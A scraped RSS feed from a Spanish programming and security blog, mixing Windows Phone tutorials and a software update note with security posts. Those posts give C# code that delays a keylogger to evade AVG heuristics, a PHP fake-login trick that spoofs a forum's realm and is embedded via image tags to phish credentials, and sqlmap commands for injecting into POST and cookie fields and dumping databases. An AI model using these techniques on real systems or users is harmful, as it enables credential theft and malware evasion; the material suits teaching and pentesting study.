Blog de Miguel Díaz » Miguel Díaz http://www.blogdemigueldiaz.com Blog sobre Informática, programación y diseño Web Fri, 14 Jun 2013 19:00:38 +0000 es-ES hourly 1 http://wordpress.org/?v=3.6 Curso de programación en Windows Phone (Parte 2): Interactuando con los diferentes elementos de la interfaz y ventanas http://www.blogdemigueldiaz.com/2013/06/curso-de-programacion-en-windows-phone-parte-2-interactuando-con-los-diferentes-elementos-de-la-interfaz-y-ventanas/?utm_source=rss&utm_medium=rss&utm_campaign=curso-de-programacion-en-windows-phone-parte-2-interactuando-con-los-diferentes-elementos-de-la-interfaz-y-ventanas http://www.blogdemigueldiaz.com/2013/06/curso-de-programacion-en-windows-phone-parte-2-interactuando-con-los-diferentes-elementos-de-la-interfaz-y-ventanas/#comments Fri, 14 Jun 2013 18:39:50 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=2399 Continuar leyendo ]]> windows_phone

Como vimos en la entrada anterior, generar una interfaz para Windows Phone es bastante sencillo gracias a Visual Studio, que nos crea la mayoría de código XAML y nos lo muestra de forma que podamos modificar aspectos como los margenes (atributo margin), el texto  (atributo text), etc.

En la entrada de hoy veremos cómo crear un formulario de usuario y contraseña, en el que al introducir bien los datos nos muestre un nuevo formulario o ventana y si se introducen mal dará un mensaje de error.

De esta forma aprenderemos a obtener datos de elementos del formulario (los campos de texto), a editar elementos (el mensaje de error que se muestra o no) y a lanzar nuevas ventanas (el formulario que se lanzará al introducir bien los datos).

Es importante tener en cuenta que hay que tener nociones básicas de programación para seguir este manual. Por otro lado, si no has leído aún la primera parte del curso, este es el mejor momento ya que damos una introducción al entorno de programación de Windows Phone.

Creando nuestro primer programa en Windows Phone

Lo primero que haremos para hacer nuestro formulario de inicio de sesión será añadir a nuestra interfaz los elementos necesarios, en nuestro caso un textbox dónde escribir el usuario, un passwordbox dónde se escribirá la contraseña, un botón y  un textblock que mostrará un mensaje que nosotros elijamos, podemos alinearlo a nuestro gusto de forma gráfica o mediante los atributos margin en el que se establecen los diferentes margenes establecidos por comas, HorizontalAligment donde daremos una orientación tipo left, center o right y el atributo VerticalAligement que admite “Top, Bottom o Center”.

interfaz

Además, en nuestro ejemplo usaremos el atributo “text” para que aparezca el texto por defecto “Usuario” en el textbox, de esta forma el usuario sabrá que debe introducir y de la misma forma vaciaremos el atributo Text del TextBlock, dejandolo en Text=”", de esta forma no se verá al arrancar el programa, por último debemos cambiar el texto del botón, esto se hace a través del atributo Content=”TEXTO” en lugar del atributo text, que usamos en los elementos anteriores.

<Grid x:Name="ContentPanel" Grid.Row="1" Margin="12,0,12,0">
   <TextBlock HorizontalAlignment="Left" Margin="83,37,0,0" TextWrapping="Wrap" Text="TextBlock" VerticalAlignment="Top" RenderTransformOrigin="0.643,-0.059"/>
   <TextBox HorizontalAlignment="Left" Height="72" Margin="68,151,0,0" TextWrapping="Wrap" Text="Usuario" VerticalAlignment="Top" Width="305"/>
   <PasswordBox HorizontalAlignment="Left" Margin="68,228,0,0" VerticalAlignment="Top" Width="305"/>
   <Button Content="Entrar" HorizontalAlignment="Left" Margin="165,326,0,0" VerticalAlignment="Top"/>
</Grid>

Por ultimo, si nos fijamos en la interfaz que nos crea por defecto, nos añade un texto de título, podemos pulsar sobre el para que nos resalte el código dónde está definido y así modificar el texto para que tenga algo mas de sentido, por ejemplo, nosotros pondremos “Nuestro primer programa” e “Inicio de sesión” en el subtitulo.

Una vez tengamos lista nuestra interfaz, es muy importante asignar un nombre a cada elemento que vayamos a llamar mediante funciones, esto se hace mediante el atributo name=”NOMBRE”, por ejemplo, al textbox le llamaremos “tbUsuario”, quedando así

<TextBox HorizontalAlignment="Left" Height="72" Margin="68,151,0,0" TextWrapping="Wrap" Text="Usuario" VerticalAlignment="Top" Width="305" Name="tbUsuario"/>

Lo mismo haremos para el TextBlock, llamandole tbMensaje, para el Passworbox llamandole pbPassword y para el botón llamándolo btEntrar.

<Grid x:Name="ContentPanel" Grid.Row="1" Margin="12,0,12,0">
   <TextBlock HorizontalAlignment="Left" Margin="83,37,0,0" TextWrapping="Wrap" Text="TextBlock" VerticalAlignment="Top" RenderTransformOrigin="0.643,-0.059" Name="tbMensaje"/>
   <TextBox HorizontalAlignment="Left" Height="72" Margin="68,151,0,0" TextWrapping="Wrap" Text="Usuario" VerticalAlignment="Top" Width="305" Name="tbUsuario"/>
   <PasswordBox HorizontalAlignment="Left" Margin="68,228,0,0" VerticalAlignment="Top" Width="305" Name="pbPassword"/>
   <Button Content="Entrar" HorizontalAlignment="Left" Margin="165,326,0,0" VerticalAlignment="Top" Name="btEntrar"/>
</Grid>

Muy bien, ya tenemos toda nuestra interfaz preparada para empezar a programar. Como lo que queremos es hacer que el botón verifique los campos usuario y contraseña al ser pulsado, hacemos doble clic sobre el. Esto nos llevará a la función que se ejecutará al haber pulsarlo

private void btEntrar_Click(object sender, RoutedEventArgs e)
{
}

Vale, ahora simplemente vamos a poner el código que queramos que se ejecute, en este caso comprobara si usuario es “miguel” y contraseña “12345″ y en tal caso pondrá en el TextBlock “Correcto”, si alguno de los datos falla pondrá “Incorrecto”

    private void btEntrar_Click(object sender, RoutedEventArgs e)
    {
        if (tbUsuario.Text.ToString() == "miguel" && pbPassword.Password.ToString() == "12345")
        {
            tbMensaje.Text = "Correcto";
        }
        else
        {
            tbMensaje.Text = "Incorrecto";
        }
    }

Como veis en la línea 3 nos referimos a los elementos mediante el nombre que le hemos dado, y en uno comparamos el parametro “Text” y en el otro el parámetro “password”, si estais acostumbrados a WindowsForms os habréis dado cuenta de que este es un elemento nuevo ya que antes se trataban por igual los campos de texto y los de contraseña, después y dependiendo de si se cumple la condición se establecerá un texto u otro para el elemento tbMensaje, cambiando su propiedad “text” (líneas 5 y 9).

Perfecto, pero vamos a hacerlo un poco mas bonito y vamos a llamar a una nueva ventana si el usuario es correcto, emulando a cualquier otro tipo de aplicación.

Es bastante sencillo llamar a una nueva ventana, lo primero es crearla, para ello nos vamos a la barra de Explorador de soluciones, pulsamos con el botón derecho sobre nuestro proyecto>Agregar>Nuevo elemento

nuevo elemeto

En la nueva ventana podriamos seleccionar otra ventana vacía o una de las plantillas que hay, en nuestro caso y para poder reutilizar el proyecto en nuestra próxima entrega seleccionaremos “Página de Panorama de Windows Phone” si estáis acostumbrados a usar Windows Phone rápidamente veréis que tipo de ventanas son, si no, básicamente son ventanas con diferentes “pestañas” entre las que se puede cambiar deslizando el dedo a derecha o izquierda, seleccionamos el nombre que queramos (en nuestro caso Bienvenida.xaml) y pulsamos “Agregar”.

Ahora que ya tenemos una nueva página volvemos al código del botón y sustituimos la línea donde cambiaba el texto de “Correcto” por la función encargada de llamar a la nueva página (NavigationServices.Navigate)

private void btEntrar_Click(object sender, RoutedEventArgs e)
 {
    if (tbUsuario.Text.ToString() == "miguel" && pbPassword.Password.ToString() == "12345")
    {
       NavigationService.Navigate(new Uri("/Bienvenida.xaml", UriKind.Relative));
    }
    else
    {
       tbMensaje.Text = "Incorrecto";
    }
 }

Como veis la función tiene dos parámetros, el primero es un String con el archivo xaml a llamar y el segundo define si la ruta dada es una ruta relativa o absoluta. Normalmente para llamar a ventanas de nuestro propio proyecto usaremos rutas relativas.

¡Ahora solo toca ejecutar nuestro proyecto y ver que todo funciona correctamente!

Guardar cerca el proyecto por que en la próxima entrega el curso lo usaremos como base para continuar aprendiendo sobre la navegación de ventanas y los controles “panorama”.

]]>
http://www.blogdemigueldiaz.com/2013/06/curso-de-programacion-en-windows-phone-parte-2-interactuando-con-los-diferentes-elementos-de-la-interfaz-y-ventanas/feed/ 0
Curso de programación en Windows Phone (Parte I): Introducción al SDK http://www.blogdemigueldiaz.com/2013/06/curso-de-programacion-en-windows-phone-introduccion-al-sdk/?utm_source=rss&utm_medium=rss&utm_campaign=curso-de-programacion-en-windows-phone-introduccion-al-sdk http://www.blogdemigueldiaz.com/2013/06/curso-de-programacion-en-windows-phone-introduccion-al-sdk/#comments Wed, 12 Jun 2013 18:38:15 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=2381 Continuar leyendo ]]> windows_phoneSin duda la programación para dispositivos móviles es uno de los aspectos que mas está evolucionando y valorándose en los últimos años, por lo que conocer las diferentes plataformas es muy importante, sin duda en cuanto a propagación y cantidad de dispositivos Android es el líder del mercado, no obstante iOS y Windows Phone tienen entornos de programación de una calidad impresionante.

Por todo lo comentado y por que hace un tiempo hicimos un pequeño curso de programación en Android, vamos a empezar un curso de programación en Windows Phone.

Instalación del SDK

En Windows Phone se programa tanto en Visual Basic . Net como en C#, en nuestro caso los  ejemplos los haremos en C# ya que está mas propagado y a mi parecer bastante mejor documentado que VB.

Como todo lenguaje en .Net utilizaremos el SDK Visual Studio, podemos utilizar tanto Visual Studio 2010 como 2012. No obstante, si utilizas Windows 8 solo podrás utilizar la versión 2012. En nuestro caso utilizaremos la versión 2012 que puedes descargar gratuitamente, una vez instalado crearemos nuestro primer proyecto desde archivo>Nuevo proyecto

nuevo

A la izquierda debemos seleccionar el lenguaje (VB o C#) y que el proyecto es para Windows Phone,  ahi veremos varias plantillas, en un principio utilizaremos la básica “Aplicación de Windows Phone”, esta plantilla nos creará un entorno en XAML, este es un lenguaje similar a XML y es utilizado para crear la interfaz. Tenemos otras plantillas disponibles pero de momento esta será la adecuada. Básicamente la diferencia entre ellas es el tipo de interfaz gráfica: XAML utilizada para la mayoría de aplicaciones o XNA utilizada para juegos.

Una vez creado nuestro proyecto veremos a la izquierda un entorno gráfico para configurar nuestra interfaz, al igual que en Windows Form y a la derecha el código XAML generado.

visualstudio

Como podéis ver a la izquierda está el formulario y a la derecha el código XAML generado, por lo que podéis editar sus atributos de una forma mas o menos sencilla, a la izquierda, como viene siendo habitual encontramos los diferentes elementos de formulario arrastrándolos a la parte dóne queramos ponerlos.

Si hacemos doble, esto generará el código del evento mas “habitual” del mismo, por ejemplo el evento mas normal de un botón sería ser pulsado, pero el de un textbox sería cuando el texto cambia.

Por último destacar que al igual que otros entornos de desarrollo se posee de un emulador que lanzará un “movil virtual” con Windows Phone y ejecutará automáticamente nuestro proyecto, para ello simplemente debéis pulsar sobre el botón que dice “Emulator” con un signo de play, que se encuentra en la barra de herramientas superior

Captura

Pues nada, hasta aquí la primera entrega del curso, en la próxima entrega crearemos un formulario básico y llamaremos a nuevas ventanas con muchos ejemplos de código.

]]>
http://www.blogdemigueldiaz.com/2013/06/curso-de-programacion-en-windows-phone-introduccion-al-sdk/feed/ 0
Técnicas de evasión frente antivirus o cómo burlar un antivirus – Parte 2.1 – Análisis heurísticos http://www.blogdemigueldiaz.com/2013/04/tecnicas-de-evasion-frente-antivirus-o-como-burlar-un-antivirus-parte-2-analisis-heuristicos/?utm_source=rss&utm_medium=rss&utm_campaign=tecnicas-de-evasion-frente-antivirus-o-como-burlar-un-antivirus-parte-2-analisis-heuristicos http://www.blogdemigueldiaz.com/2013/04/tecnicas-de-evasion-frente-antivirus-o-como-burlar-un-antivirus-parte-2-analisis-heuristicos/#comments Wed, 24 Apr 2013 18:22:06 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=2302 Continuar leyendo ]]> antivirusHace un tiempo vimos las diferentes formas en las que un antivirus detectan las amenazas, centrándonos en el análisis de firmas y vimos una forma básica de burlarlo. En esta entrada (2.1) y en la siguiente (2.2) nos centraremos en los análisis heurísticos que tratan de identificar el malware a través de su comportamiento. Por ejemplo, si un ejecutable se copia a los diferentes pendrives  y se conecta a un servidor , es muy probable que un antivirus lo detecte como una amenaza.

Generalmente los antivirus corren los ficheros en un sandbox donde analizan su comportamiento. Una vez sabemos básicamente como funcionan estos análisis vamos a ver cuatro ejemplos de cómo burlar este tipo de análisis, que van desde saturar el proceso dedicado al análisis a detectar si estamos siendo analizados por un antivirus para realizar unas acciones u otras. En nuestro ejemplo usaré un Keylogger programado para la ocasión y el antivirus AVG el cual tiene protección heurística y como podemos ver es identificado como una amenaza.

Excediendo el tiempo límite de análisis.

Este es el ejemplo mas básico de los que vamos a ver, se basa en la limitación de los antivirus a la hora de analizar un fichero y es que por razones de optimización no es capaz de mantener un análisis constante hacia un fichero pasado un tiempo sin actividad sospechosa lo toma como fiable, este método aunque puede sonar sencillo es tenido en cuenta por muchos antivirus que suprimen las “pausas” que tenga el proceso, así que lo correcto es que el malware realice acciones legítimas durante el tiempo que dura dicho análisis a fin de ser considerado un software no malicioso. Un ejemplo de esto es el siguiente código:

Para vurlarlo en este primer ejemplo lo que haremos es iniciar la función keylogger() pasado un determinado tiempo, sin realizar llamadas a Thread.sleep o demás formas “deducibles”, para ello iniciamos en un hilo a parte una funcion encargada de ver si ha pasado dicho tiempo

  double inicio; //Guarda el milisegundo en el que se inicia el programa
 private void Form1_Load(object sender, EventArgs e)
        {
            inicio = new TimeSpan(DateTime.Now.Ticks).TotalMilliseconds;
            hilo_key = new Thread(startKeylogger);
            hilo_key.Start();
        }

Como podéis ver lo primero que hacemos es comprobar el momento en el que se ha iniciado la aplicación y guardarlo en la variable global inicio, a continuación llamamos al proceso startKeylogger la cual se encargará de ver si ha pasado el tiempo indicado como vemos a continuación

      //Inicia el keylogger cuando hayan pasado 5 minutos
        private void startKeylogger()
        {
            while (1==1)
            {
                if (new TimeSpan(DateTime.Now.Ticks).TotalMilliseconds > inicio + 300000) //Si han pasado 5 minutos
                {
                    while (1==1) //Bucle sin sentido, lo explicaremos mas abajo.
                    {
                        keylogger(); //Inicia el keylogger
                    }
                }
                else
                {
                    System.Threading.Thread.Sleep(1000); //Si no han pasado cinco minutos espera un segundo hasta volver a realizar la comprobación
                }
            }
        }

Si bien puede parecer algo enrevesada esta función lo único que hace es comprobar si el tiempo actual es inicio (el momento en el que arrancó el software) mas 30000 segundos, lo correspondiente a cinco minutos, en caso de que no sea así vuelve a ejecutarse la comprobación hasta que dicha condición se cumpla.

Además es importante jugar con diferentes formas de hacer este tipo de cosas aunque por que cuanto mas compliquemos el camino mas efectivo será contra un análisis heurísticos pesar de que no sea “lógico” en términos de programación, ya que a mas acciones “no perjudiciales” detecte el motor antivirus menos motivos hay para sospechar. De ahí podemos ver el segundo bucle infinito que es simplemente algo absurdo y que a razón de eficiencia podríamos suprimir dejando solo keylogger();

Si os fijáis hemos puesto algunos Sleeps, los cuales no son pensando en el análisis heurístico, ya que probablemente sean omitidos, si no que son pensados para reducir el consumo de recursos en el equipo ya que realizar las comprobaciones de forma infinita y sin control daría como resultado un alto uso de CPU.

En este caso, esta modificación es suficiente para que AVG no detecte mi software como malicioso, pero en cualquier caso en la próxima entrega explicaremos otros medios mas sofisticados a la par que efectivos para detectar si estamos siendo analizados.

]]>
http://www.blogdemigueldiaz.com/2013/04/tecnicas-de-evasion-frente-antivirus-o-como-burlar-un-antivirus-parte-2-analisis-heuristicos/feed/ 2
Ingeniería social mediante solicitudes HTTP remotas – Un ejemplo de phishing http://www.blogdemigueldiaz.com/2013/04/ingenieria-social-mediante-solicitudes-http-remotas-un-ejemplo-de-phishing/?utm_source=rss&utm_medium=rss&utm_campaign=ingenieria-social-mediante-solicitudes-http-remotas-un-ejemplo-de-phishing http://www.blogdemigueldiaz.com/2013/04/ingenieria-social-mediante-solicitudes-http-remotas-un-ejemplo-de-phishing/#comments Thu, 18 Apr 2013 12:04:28 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=2208 Continuar leyendo ]]> seguridadHoy quiero compartir un método de ingeniería social que nunca he visto documentado, pero muy creíble y eficaz que se apoya de la propiedad que tienen muchas aplicaciones (Web o de escritorio) de realizar peticiones HTTP a servidores remotos. Un buen ejemplo sería la particularidad que tienen los foros de Internet a incluir imágenes de servidores externos mediante la etiqueta [IMG] o <img>.

Estas peticiones envían nuestras cabeceras igual que a cualquier otra Web y podemos enlazar imágenes o un fichero php corriente, la única diferencia es que el navegador intentará mostrarlo como una imagen una vez descargado y quizás no pueda, pero en la parte de servidor se ejecutará todo igual, por lo que estas consultas pueden diseñarse para realizar cualquier acción que se le permita al navegador y es aquí donde se puede aprovechar la ingeniería social para perpetuar ataques tipo phishing, entre otros.

Un caso típico de phishing es enviar un enlace donde se pide un usuario y contraseña simulando ser una página legítima, estadísticamente sigue funcionando, pero a día de hoy no es tan efectivo por que es fácilmente detectable con solo ver la URL, además la gente está bastante “educada” de no abrir enlaces desconocidos, así que lo que veremos es como solicitar las credenciales a un usuario sin que este visite un sitio Web, simplemente le aparecerá la ventana de login mientras abre un hilo.

Caso práctico: Robo de credenciales de un foro sin abandonar la Web

Como hemos visto antes, una consulta HTTP que solicita una imagen es exactamente igual a una consulta que solicita un fichero, una imagen puede tener extension .php o cualquier otra. Los captcha, por ejemplo al ser una imagen dinámica tienen extensión .php ya que se autogeneran a si mismos cada vez que se imprimen ¿pero cómo puede utilizarse esto en un ataque de phishing? El protocolo HTTP incluye una característica de autentificación que permite al administrador poner ciertos ficheros o directorios bajo contraseña, al realizar una petición hacia ellos el usuario verá un formulario de login, si habéis entrado a un router sabréis de lo que estoy hablando. Un ejemplo de fichero que solicita contraseña al recibir una petición HTTP sería este

fichero.php

<?php
    header('WWW-Authenticate: Basic realm="http://www.forodeejemplo.com/fileattach?foto.jpg"');
    header('HTTP/1.0 401 Unauthorized');
    exit();
?>


Básicamente estamos enviando una cabecera que dice al navegador “Oye, para ver este fichero necesito que me des una contraseña”, en esta cabecera, además tenemos un campo (realm) en el que podemos escribir lo que queramos, esto normalmente se hace para describir el servicio o el por que se necesita una contraseña. Como queremos pasar inadvertidos nosotros pondremos una URL interna del foro, así el usuario pensará la solicitud proviene de desde el propio foro, esto es lo que se vería al intentar abrir el fichero a través del navegador

saaaaaa

Si un usuario una contraseña podríamos leerlas mediante $_SERVER['PHP_AUTH_USER'] y $_SERVER['PHP_AUTH_PW'], por lo que un fichero que solicitara un usuario y contraseña y una vez introducidos los guardara en un txt podría ser algo como

fichero.php

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) { //Si no se ha introducido ningun usuario
    header('WWW-Authenticate: Basic realm="http://www.forodeejemplo.com/fileattach?foto.jpg"'); //Muestra la ventana de credenciales
    header('HTTP/1.0 401 Unauthorized');
    exit;
}else { //Si se ha introducido algun usuario lo guarda en documento.txt
}
?>

Pero claro, si queremos sacar esto a flote no nos valdría con abrir un hilo con un enlace a dicho fichero ya que la mayoría de gente, al ver que pulsan un enlace que les lleva fuera del foro pensarían que la contraseña se refiere a otro sitio o directamente se darían cuenta del intento de engaño. Nosotros queremos que el formulario de usuario y contraseña aparezca directamente en el foro, pues nada mas simple como crear un mensaje que apunte hacia nuestro fichero mediante las etiquetas de imagen [img]http://url_maliciosa/imagen.php[/img]

Captura2

Cuando alguien abra el hilo, al cual obviamente le pondremos un título sugerente e interesante (o responderemos a uno que creamos que va a tener éxito) aparecerá una bonita ventana de login la cual aparece dentro del propio foro y haciendo referencia a una foto.

Para el usuario es algo muy transparente, está navegando por el foro y de golpe el propio foro parece que le pide las credenciales para ver un fichero adjunto, la URL del navegador sigue siendo legítima, no ha seguido ningún enlace externo, no hay motivo aparente para desconfiar.

Pero esto es ampliable a muchos otros caso, por ejemplo, imagina que mandas un correo con dicha imagen a un email de Gmail, hay dos posibilidades si tiene el filtro de imágenes activado le pedirá hacer clic en “mostrar imágenes” y una vez lo haga pedirá login y si está desactivado, al intentar abrir el mensaje pedirá login, además como Gmail es tal “cool” carga el email en segundo plano por lo que aparece el formulario incluso antes de abrirlo

Capturasda

En definitiva y por concluir hemos aprendido a que NUNCA hay que introducir nuestras credenciales si no estamos totalmente seguros de lo que estamos haciendo ya que a veces lo que el ojo ve no es lo que hay que creer.

]]>
http://www.blogdemigueldiaz.com/2013/04/ingenieria-social-mediante-solicitudes-http-remotas-un-ejemplo-de-phishing/feed/ 0
Curso de SQLmap a fondo – Parte 2 – Vulnerabilidades en variables POST, Cookies y obtención de información del usuario http://www.blogdemigueldiaz.com/2013/04/curso-de-sqlmap-a-fondo-parte-2-vulnerabilidades-en-variables-post-cookies-y-obtencion-de-informacion-del-usuario/?utm_source=rss&utm_medium=rss&utm_campaign=curso-de-sqlmap-a-fondo-parte-2-vulnerabilidades-en-variables-post-cookies-y-obtencion-de-informacion-del-usuario http://www.blogdemigueldiaz.com/2013/04/curso-de-sqlmap-a-fondo-parte-2-vulnerabilidades-en-variables-post-cookies-y-obtencion-de-informacion-del-usuario/#comments Sat, 13 Apr 2013 12:57:55 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=2182 Continuar leyendo ]]> mysqlSi habéis seguido el post inicial del curso os habréis dado cuenta de que SQLmap es una potente herramienta, mucho mas que un simple detector de SQLinjection es un potente framwork para la explotación de esta vulnerabilidad. En la pasada entrega aprendimos a buscar vulnerabilidades mediante las variables GET, a realizar consultas SQL y a volcar las bases de datos a nuestro disco duro, pero no debemos cerrarnos únicamente a las variables GET, ya que hay muchos apartados como buscadores, formularios de login que funcionan mediante las variables POST y Cookies lo cual supone cerca de un 70% de los “Inputs” de cualquier Web, por eso hoy veremos como buscar inyecciones de SQL en POST y Cookies. Además, aprenderemos a recolectar información acerca del usuario de la base de datos y sus permisos. Es muy importante tener en cuenta que para seguir este curso es necesario tener conocimientos de HTML y SQL Injection

Realizando un ataque hacia un formulario de login

Lo primero para esto es saber hacia que Web lanza la petición nuestro formulario, puesto que el lector de este curso tiene conocimientos de HTML no voy a reparar en explicar como saberlo, en nuestro caso la petición se hará contra checkuser.php, y los campos del formulario se llamarán inputUser e inputPassword

./sqlmap.py -u "http://ejemplo.com/checkuser.php" --data="inputUser=Admin&inputPassword=12345"

Como veis, igual que en los ejemplos anteriores introducimos la URL, pero despues añadimos el modificador --data, el cual define todos los datos que serán enviados mediante el método POST, las variables se separan con “&” igual que se hace en la cabecera.

Ahora imaginemos que solamente queremos analizar una variable y la otra queremos dejarla “fija”, para ello usaremos el modificador -p seguido de la variable que deseamos analizar, por ejemplo, en este caso sabemos que la variable inpuUser no es vulnerable, así que como no queremos perder tiempo vamos a realizar las pruebas únicamente con la variable inputPassword

./sqlmap.py -u "http://ejemplo.com/checkuser.php" --data="inputUser=Admin&inputPassword=12345" -p "inputPassword"

Hay que tener en cuenta que un formulario puede verificar otros campos como el nombre del botón que se ha pulsado para ser enviado, etc. Podemos ayudarnos de herramientas como Tamper Data, para obtener esta información o ver el código fuente de la página.

Si todo ha ido bien obtendremos una vulnerabilidad, si no podemos probar con el parametro --level=5 y --risk=3 para aumentar las posibilidades y complejidad de las consultas.

Captura

A continuación vamos a obtener toda la información posible del usuario actual, para ello en primer caso usaremos el modificador --current-user para averiguar qué usuario estamos utilizando.

./sqlmap.py -u "http://ejemplo.com/checkuser.php" --data="inputUser=Admin&inputPassword=12345" -p "inputPassword" --current-user
Captura

En este caso, al ser el usuario root sabremos que permisos tiene (todos) pero en caso de que sea un usuario diferente podemos saber que privilegios tiene usando el modificador --privileges

./sqlmap.py -u "http://ejemplo.com/checkuser.php" --data="inputUser=Admin&inputPassword=12345" -p "inputPassword" --privileges

Captura

Como vemos este usuario, al ser root tendría permiso a todo, desde consultas simples a ejecutar comandos o subir ficheros (cosas que aprenderemos en la siguiente entrega), también podriamos usar el comando --is-dba para ver si es administrador de la base de datos.

Lo último que explicaré hoy es cómo buscar vulnerabilidades de SQLinjection a través de las cookies, las cookies suelen ser un punto crítico en muchas páginas ya que los administradores muchas veces olvidan sanearlas ya que son ellos mismos quién las generan y olvidan que el usuario final puede modificarlas si quieren, por tanto es un punto a tener muy en cuenta a la hora de auditar una aplicación.

En nuestro ejemplo, usaremos un sitio que usa dos cookies, una llamada “sesion” y otra llamada “secreto”, el modificador a usar es --cookie=”id_cookie1=valor1&id_cookie2=valor2″

./sqlmap.py -u "http://ejemplo.com/web.php" --cookie="sesion=admin&secreto=prueba"
Captura

Y hasta aquí la entrega de hoy, en la próxima aprenderemos a leer ficheros locales del servidor vulnerado, ejecutar comandos y obtener una shell del sistema y subir ficheros

]]>
http://www.blogdemigueldiaz.com/2013/04/curso-de-sqlmap-a-fondo-parte-2-vulnerabilidades-en-variables-post-cookies-y-obtencion-de-informacion-del-usuario/feed/ 2
Nueva versión de mDrive 0.6.2.6 http://www.blogdemigueldiaz.com/2013/04/nueva-version-de-mdrive-sincronizacion-nube/?utm_source=rss&utm_medium=rss&utm_campaign=nueva-version-de-mdrive-sincronizacion-nube http://www.blogdemigueldiaz.com/2013/04/nueva-version-de-mdrive-sincronizacion-nube/#comments Wed, 10 Apr 2013 18:45:04 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=2133 Continuar leyendo ]]> 2222Hace unos días os presentaba mDrive, un nuevo proyecto que estoy realizando para  sincronziar ficheros entre dispositivos de forma automática. Hoy os traigo una actualización del programa que trae las siguientes mejoras:

screen

  • Sistema de actualizaciones: mDrive es capaz ahora de detectar nuevas versiones y e instalarlas.
  • Mejora de velocidad: Se ha aumentado un 100% la velocidad a la hora de detectar cambios en nuestros ficheros y reducido un 50% del código.
  • Disminución del ancho de banda: Se ha conseguido optimizar el proceso de sincronización de forma que ahora realiza comprobaciones del listado de directorio remoto de forma incremental lo que reduce considerablemente el uso de ancho de banda.
  • Añadida la opción de mostrar u ocultar notificaciones al actualizar un fichero.
  • Corrección de errores menores

Ahora mismo mDrive está en desarrollo pero puedes probarlo gratuitamente utilizando nuestros servidores creando una cuenta de prueba.

descargar

A continuación os dejo unas gráficas de diferencia de rendimiento entre versiones.

Captura

Actualmente mDrive se encuentra en versión beta y la parte del servidor será liberada al alcanzar la primera versión estable.

]]>
http://www.blogdemigueldiaz.com/2013/04/nueva-version-de-mdrive-sincronizacion-nube/feed/ 0
Pentesting: SQL Injection – Curso de SQLmap a fondo – Parte 1 http://www.blogdemigueldiaz.com/2013/04/sql-injection-curso-de-sqlmap-a-fondo-i/?utm_source=rss&utm_medium=rss&utm_campaign=sql-injection-curso-de-sqlmap-a-fondo-i http://www.blogdemigueldiaz.com/2013/04/sql-injection-curso-de-sqlmap-a-fondo-i/#comments Thu, 04 Apr 2013 18:05:33 +0000 Miguel Díaz http://www.blogdemigueldiaz.com/?p=2074 Continuar leyendo ]]> mysqlLas inyecciones de SQL llevan siendo desde hace años el top de vulnerabilidades Web ya que es fácil cometer un error al validar una entrada, bien por despiste del programador o por desconocimiento. Detectarlas son medianamente fácil mediante el método de ensayo-error, pero justo por eso hay veces se torna una tarea tediosa. Por esto nació SQLmap, que se encargará de probar múltiples combinaciones  hasta dar con una válida. Además, una vez encontrada nos permitirá realizar acciones como descargar la base de datos o consultas SQL. Durante la primera entrega aprenderemos a buscar vulnerabilidades de una Web a través de las variables GET probando diferentes niveles de dificultad y una vez conseguido aprenderemos a ver las diferentes bases de datos, copiarlas a nuestro disco duro o ejecutar consultas SQL. Para seguir este curso debes conocer en qué consisten las inyecciones SQL.

Ejemplo básico de SQLmap para encontrar una vulnerabilidad en variables GET

Como todos sabemos, hay varias formas de enviar variables a un servidor Web, por un lado está GET, que incluye esta información de manera visible en la URL y por otro lado POST, que es aquella información enviada de forma transparente al usuario y generalmente usada en los formularios, pongamos un ejemplo de la típica Web de noticias en las que su URL termina con un id=NUMERO_NOTICIA, en nuestro ejemplo será http://ejemplo.com?id=3, si quisieramos lanzar un escaneo básico a esta Web deberiamos hacer

./sqlmap.py -u "http://ejemplo.com?id=3"

-u establece la URL a analizar, es muy importante poner la URL siempre entrecomillada, especialmente si queremos analizar mas de una variable ya que en caso contrario sqlmap no será capaz de reconocer mas que la primera de ellas.

Si la URL constara de mas de una variable y solo quisiéramos analizar una de ellas, manteniendo el resto estáticas utilizaremos el modificador -p “nombre_variable” para indicar que variable analizar, por ejemplo si tenemos la URL http://ejemplo.com/login.php?user=miguel&password=12345 y quisiéramos analizar la variable password deberiamos poner:

./sqlmap.py -u "http://ejemplo.com/login.php?user=miguel&password=12345" -p "password"

Una vez lanzado el proceso SQLmap comenzará a lanzar consultas en las diferentes variables de la URL hasta encontrar una válida, si no encontrara ninguna podríamos aumentar el nivel de dificultad, esto lanzará consultas mas complejas que intenten evitar los métodos mas conocidos de validación de entrada, si todo ha ido bien obtendremos algo como esto:

IMG_20130402_200250

Pero por el contrario si no se ha encontrado ninguna vulnerabilidad nos encontraremos un mensaje advirtiéndonos de que ninguna de las variables es vulnerable, si es así puedes probar el modificador --level=NUMERO para aumentar la dificultad, hay cinco niveles diferentes, otro modificador interesante es -v NUMERO, que como suele ser habitual se refiere al modo vervose de la aplicación, cuanto mas alto sea el numero mas información nos mostrará sqlmap mientras realiza el escaneo, viene muy bien si nos interesa revisar los encabezados que se reciben, etc y así asegurarnos de que no se le está pasando por alto nada a sqlmap

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --level=5 -v 3

Pero SQLmap es mucho mas que un puro escaner, lo realmente interesante de SQLmap es que una vez encontrada la vulnerabilidad nos ofrece multiples opciones interesantes para interactuar con la base de datos, por ejemplo, si queremos obtener un listado con las bases de datos existentes bastaría con usar el modificador --dbs

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --dbs

A lo que obtendremos algo como

Captura

Donde vemos que ha encontrado dos bases de datos, si quisiéramos saber cuál es la base de datos actual a la que estamos conectados tendríamos que usar el modificador --current-db

Otro modificador interesante es --tables el cual nos permite ver el nombre de las tablas. Por defecto mostraría las tablas de todas las bases de datos, pero si quisiéramos ver únicamente las tablas de una base de datos en concreto añadiremos el modificador -D “nombre_base_datos”

./sqlmap.py -u "http://ejemplo.com/login.php?id=4" --tables -D information_schema

Nos mostraría el nombre de las tablas de la base de datos information_schema

Captura

Es interesante saber que toda la información extraída la va guardando en ficheros de texto dentro de la carpeta output.

Además podemos ejecutar arbitrariamente una sentencia SQL mediante el modificador --sql-query=”CONSULTA SQL” por ejemplo

